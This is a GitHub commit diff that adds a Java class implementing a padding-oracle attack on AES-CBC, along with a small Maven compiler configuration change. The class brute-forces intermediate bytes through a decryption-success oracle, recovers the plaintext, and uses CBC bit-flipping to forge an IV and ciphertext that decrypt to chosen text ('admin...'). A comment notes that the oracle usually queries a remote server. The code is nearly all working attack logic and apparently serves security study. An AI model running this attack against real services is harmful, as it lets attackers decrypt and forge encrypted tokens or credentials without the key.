Skip to content

Commit 4c9141e

Browse files
author
xuanyh
committed
feat:添加padding oracle cbc的java实现2
1 parent 0d440e9 commit 4c9141e

File tree

2 files changed

+236
-0
lines changed

2 files changed

+236
-0
lines changed

pom.xml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -162,5 +162,15 @@
162162
</plugin>
163163
</plugins>
164164
</pluginManagement>
165+
<plugins>
166+
<plugin>
167+
<groupId>org.apache.maven.plugins</groupId>
168+
<artifactId>maven-compiler-plugin</artifactId>
169+
<configuration>
170+
<source>8</source>
171+
<target>8</target>
172+
</configuration>
173+
</plugin>
174+
</plugins>
165175
</build>
166176
</project>
Lines changed: 226 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,226 @@
1+
package com.threedr3am.bug.paddingoraclecbc;
2+
3+
import com.vip.vjtools.vjkit.security.CryptoUtil;
4+
import com.vip.vjtools.vjkit.text.EncodeUtil;
5+
import java.util.Arrays;
6+
import java.util.function.Predicate;
7+
8+
/**
9+
* padding oracle cbc java实现
10+
*
11+
* @author threedr3am
12+
*/
13+
public class PaddingOracleCBC2 {
14+
15+
public static void main(String[] args) {
16+
//aes iv
17+
String aesIv = "BSiv194+mpLpYJDOsuuBYA==";
18+
//aes key
19+
String aesKey = "e/ACMnCbFqab+v/cCIv3gA==";
20+
//原文
21+
String plain = "1dmin1dmin1dmin1dmin1dmin1dmin1dmin1dmin";
22+
//cbc攻击,最后期望服务器解密出的结果
23+
String cbcRes = "adminadminadminadminadminadminadminadmin";
24+
25+
//密文bytes
26+
byte[] cryptTextBytes = CryptoUtil.aesEncrypt(plain.getBytes(), EncodeUtil.decodeBase64(aesKey), EncodeUtil.decodeBase64(aesIv));
27+
//aes iv bytes
28+
byte[] ivBytes = EncodeUtil.decodeBase64(aesIv);
29+
30+
CBCResult cbcResult = paddingOracleCBC(cryptTextBytes, ivBytes, cbcRes.getBytes(), data -> {
31+
//前16bytes是iv
32+
byte[] ivTmp = Arrays.copyOfRange(data, 0, 16);
33+
//后16bytes是密文
34+
byte[] cryptTmp = Arrays.copyOfRange(data, 16, 32);
35+
try {
36+
CryptoUtil
37+
.aesDecrypt(cryptTmp, EncodeUtil.decodeBase64(aesKey), ivTmp);
38+
return true;
39+
} catch (Exception e) {
40+
return false;
41+
}
42+
});
43+
44+
System.out.println(CryptoUtil
45+
.aesDecrypt(cbcResult.crypt, EncodeUtil.decodeBase64(aesKey), cbcResult.iv));
46+
}
47+
48+
/**
49+
* CBC Attack Result
50+
*/
51+
public static class CBCResult {
52+
byte[] iv;
53+
byte[] crypt;
54+
55+
public CBCResult(byte[] iv, byte[] crypt) {
56+
this.iv = iv;
57+
this.crypt = crypt;
58+
}
59+
60+
public byte[] getIv() {
61+
return iv;
62+
}
63+
64+
public byte[] getCrypt() {
65+
return crypt;
66+
}
67+
}
68+
69+
private static CBCResult paddingOracleCBC(byte[] cryptText, byte[] ivBytes, byte[] cbcResBytes, Predicate<byte[]> predicate) {
70+
byte[] middles = new byte[cryptText.length];
71+
byte[] data = new byte[ivBytes.length + cryptText.length];
72+
System.arraycopy(ivBytes, 0, data, 0, ivBytes.length);
73+
System.arraycopy(cryptText, 0, data, ivBytes.length, cryptText.length);
74+
int group = cryptText.length / 16;
75+
byte[] plainBytes = new byte[cryptText.length];
76+
//padding oracle attack
77+
for (int i = 0; i < group; i++) {
78+
byte[] iv = Arrays.copyOfRange(data, i * 16, i * 16 + 16);
79+
byte[] crypt = Arrays.copyOfRange(data, (i + 1) * 16, (i + 1) * 16 + 16);
80+
byte[] middle = paddingOracle(iv, crypt, predicate);
81+
System.arraycopy(middle, 0, middles, i * 16, 16);
82+
byte[] res = generatePlain(iv, middle);
83+
System.arraycopy(res, 0, plainBytes, i * 16, res.length);
84+
res = unpadding(res);
85+
System.out.println("[plain]:" + new String(res));
86+
}
87+
byte[] tmp = Arrays.copyOf(plainBytes, plainBytes.length);
88+
System.out.println("[final-plain]:" + new String(unpadding(tmp)));
89+
byte[] cbcResBytesForPadding = padding(cbcResBytes);
90+
//构造新的iv,cbc攻击
91+
byte[] ivBytesNew = cbcAttack(ivBytes, cryptText, cbcResBytesForPadding, plainBytes);
92+
return new CBCResult(Arrays.copyOfRange(ivBytesNew, 0, 16), Arrays.copyOfRange(ivBytesNew, 16, ivBytesNew.length));
93+
}
94+
95+
/**
96+
* unpadding
97+
*
98+
* @param res
99+
* @return
100+
*/
101+
private static byte[] unpadding(byte[] res) {
102+
int end = res[res.length - 1];
103+
if (end > 0 && end <= 16) {
104+
for (int i = 1; i <= end; i++) {
105+
if (res[res.length - i] != end)
106+
break;
107+
}
108+
for (int i = 1; i <= end; i++) {
109+
res[res.length - i] = ' ';
110+
}
111+
}
112+
return res;
113+
}
114+
115+
/**
116+
* 原来的iv ^ middle = plain
117+
* 构造新的iv ^ middle = 'admin' -> 新的iv = middle ^ 'admin'
118+
*
119+
*
120+
*
121+
* @param iv
122+
* @param cryptText
123+
* @param cbcResBytesForPadding
124+
* @param plainBytes
125+
* @return
126+
*/
127+
private static byte[] cbcAttack(byte[] iv, byte[] cryptText, byte[] cbcResBytesForPadding,
128+
byte[] plainBytes) {
129+
byte[] cbcTmp = new byte[iv.length + cbcResBytesForPadding.length];
130+
System.arraycopy(iv, 0, cbcTmp, 0, iv.length);
131+
System.arraycopy(cbcResBytesForPadding, 0, cbcTmp, iv.length, cbcResBytesForPadding.length);
132+
byte[] plainTmp = new byte[iv.length + plainBytes.length];
133+
System.arraycopy(iv, 0, plainTmp, 0, iv.length);
134+
System.arraycopy(plainBytes, 0, plainTmp, iv.length, plainBytes.length);
135+
byte[] cryptTmp = new byte[iv.length + cryptText.length];
136+
System.arraycopy(iv, 0, cryptTmp, 0, iv.length);
137+
System.arraycopy(cryptText, 0, cryptTmp, iv.length, cryptText.length);
138+
139+
for (int i = cbcTmp.length - 1; i >= 16; i--) {
140+
if (cbcTmp[i] != plainTmp[i]) {
141+
cryptTmp[i - 16] = (byte) (cryptTmp[i - 16] ^ plainTmp[i] ^ cbcTmp[i]);
142+
}
143+
}
144+
return cryptTmp;
145+
}
146+
147+
/**
148+
* cbc前需要对数据进行填充至16*n,填充规则,最后一组16bytes数据,缺多少位(例如:6),则填充6个0x06
149+
*
150+
* @param cbcResBytes 需要填充的cbc翻转的数据
151+
* @return 填充后的数据,可以直接用于cbc翻转攻击
152+
*/
153+
private static byte[] padding(byte[] cbcResBytes) {
154+
//计算需要填充的位数
155+
int padding = 16 - cbcResBytes.length % 16;
156+
byte[] cbcResBytesForPadding = new byte[cbcResBytes.length + padding];
157+
for (int i = 0; i < cbcResBytes.length; i++) {
158+
cbcResBytesForPadding[i] = cbcResBytes[i];
159+
}
160+
//填充
161+
for (int i = 1; i <= padding; i++) {
162+
cbcResBytesForPadding[cbcResBytesForPadding.length - i] = (byte) padding;
163+
}
164+
return cbcResBytesForPadding;
165+
}
166+
167+
/**
168+
* 与原iv异或,生成原文
169+
* 原来的iv ^ middle = plain
170+
*
171+
* @param ivBytesOld
172+
* @param middles
173+
* @return
174+
*/
175+
private static byte[] generatePlain(byte[] ivBytesOld, byte[] middles) {
176+
byte[] res = new byte[ivBytesOld.length];
177+
for (int i = 0; i < ivBytesOld.length; i++) {
178+
res[i] = (byte) (ivBytesOld[i] ^ middles[i]);
179+
}
180+
return res;
181+
}
182+
183+
/**
184+
* padding oracle 核心方法
185+
*
186+
* @param iv
187+
* @param crypt
188+
* @param predicate 该对象test方法用于校验是否正确,多数为调用远程服务器提交数据,根据返回来确定解密后的异或结果是否符合规则
189+
* @return 这一组数据的middle
190+
*/
191+
private static byte[] paddingOracle(byte[] iv, byte[] crypt, Predicate<byte[]> predicate) {
192+
byte[] data = new byte[iv.length+crypt.length];
193+
System.arraycopy(iv, 0, data, 0, iv.length);
194+
System.arraycopy(crypt, 0, data, iv.length, crypt.length);
195+
byte[] middle = new byte[16];
196+
//用于填充的tmp值,第一轮为0x01第二轮为0x02以此类推
197+
byte tmp = 1;
198+
for (int i = 15; i >= 0; i--) {
199+
for (int j = 0; j < 256; j++) {
200+
data[i] = (byte) j;
201+
for (int k = 15; k > i; k--) {
202+
//爆破倒数第一位时不需要填充,倒数第二位时填充其后的iv为0x02,倒数第三位时填充其后的iv为0x03,以此类推
203+
data[k] = (byte) (middle[k] ^ tmp);
204+
}
205+
//解密返回true即正确
206+
if (predicate.test(data)) {
207+
//爆破倒数第一位的解密结果为0x01,第二位为0x02,以此类推,那么middle = iv ^ plain
208+
byte m = (byte) (j ^ tmp);
209+
middle[i] = m;
210+
// break;
211+
}
212+
}
213+
tmp++;
214+
}
215+
216+
System.out.print("[middle]:");
217+
for (int i = 0; i < middle.length; i++) {
218+
System.out.print((middle[i]));
219+
if (i != middle.length - 1) {
220+
System.out.print(",");
221+
}
222+
}
223+
System.out.println();
224+
return middle;
225+
}
226+
}

0 commit comments

Comments
 (0)